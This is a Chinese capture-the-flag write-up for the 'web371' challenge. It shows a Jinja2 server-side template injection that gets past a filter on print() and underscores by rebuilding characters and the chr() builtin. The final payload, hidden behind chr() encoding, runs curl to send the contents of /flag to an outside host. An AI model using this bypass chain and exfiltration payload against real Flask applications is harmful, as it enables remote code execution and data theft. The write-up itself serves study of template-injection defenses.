web371

EXP

这题做了好久(主要是在写脚本Flask-jinja2敏感字符绕过脚本)才写出来(哭

这题用我精心写好的脚本就可以事半功倍

这题过滤了print(),就导致我们不能让payload直接显示出来,而需要其他特殊的方法的到payload

但是这题有个特殊的地方,就是我们不能在使用之前的方法去构造字符串了,因为我们不能在看到回显了,那该怎么办呢,我也没啥好办法,就看了看上一题,大概就是”_"符号可以由 set uli=(config|string|list).pop(74).lower()得到,那么我就可以利用这个字符再加上一些语句去构造内建函数chr,然后再利用chr去生成其他字符串

所以先利用我脚本中的4.构造chr()函数跑一下上一题,得到一个chr()函数

 {% set uli=(config|string|list).pop(74).lower() %}{% set chr=(q|attr((uli,uli,dict(init=a)|join,uli,uli)|join())|attr((uli,uli,dict(globals=a)|join,uli,uli)|join)|attr((uli,uli,dict(getitem=a)|join,uli,uli)|join)((uli,uli,dict(builtins=a)|join,uli,uli)|join)).chr %}

接着再利用脚本中的3.字符转chr(),获得chr()构造的字符串,并填入下面的payload中

{% if ((lipsum|attr()).get().popen()) %}		# 原型:(lipsum|attr('__globals__')).get('os').popen('cat /flag')
abc
{% endif %}

最终得到

http://4b89f12b-9e48-436a-a825-93966b41166e.challenge.ctf.show/?name=
{% set uli=(config|string|list).pop(74).lower() %}{% set chr=(q|attr((uli,uli,dict(init=a)|join,uli,uli)|join())|attr((uli,uli,dict(globals=a)|join,uli,uli)|join)|attr((uli,uli,dict(getitem=a)|join,uli,uli)|join)((uli,uli,dict(builtins=a)|join,uli,uli)|join)).chr %}
{% if ((lipsum|attr(chr(95)%2bchr(95)%2bchr(103)%2bchr(108)%2bchr(111)%2bchr(98)%2bchr(97)%2bchr(108)%2bchr(115)%2bchr(95)%2bchr(95))).get(chr(111)%2bchr(115)).popen(chr(99)%2bchr(117)%2bchr(114)%2bchr(108)%2bchr(32)%2bchr(104)%2bchr(116)%2bchr(116)%2bchr(112)%2bchr(58)%2bchr(47)%2bchr(47)%2bchr(98)%2bchr(108)%2bchr(117)%2bchr(101)%2bchr(120)%2bchr(115)%2bchr(115)%2bchr(46)%2bchr(103)%2bchr(111)%2bchr(98)%2bchr(108)%2bchr(111)%2bchr(103)%2bchr(46)%2bchr(116)%2bchr(111)%2bchr(112)%2bchr(47)%2bchr(105)%2bchr(110)%2bchr(100)%2bchr(101)%2bchr(120)%2bchr(46)%2bchr(112)%2bchr(104)%2bchr(112)%2bchr(63)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(61)%2bchr(96)%2bchr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(96))) %}
abc
{% endif %}

便可以从服务器上得到flag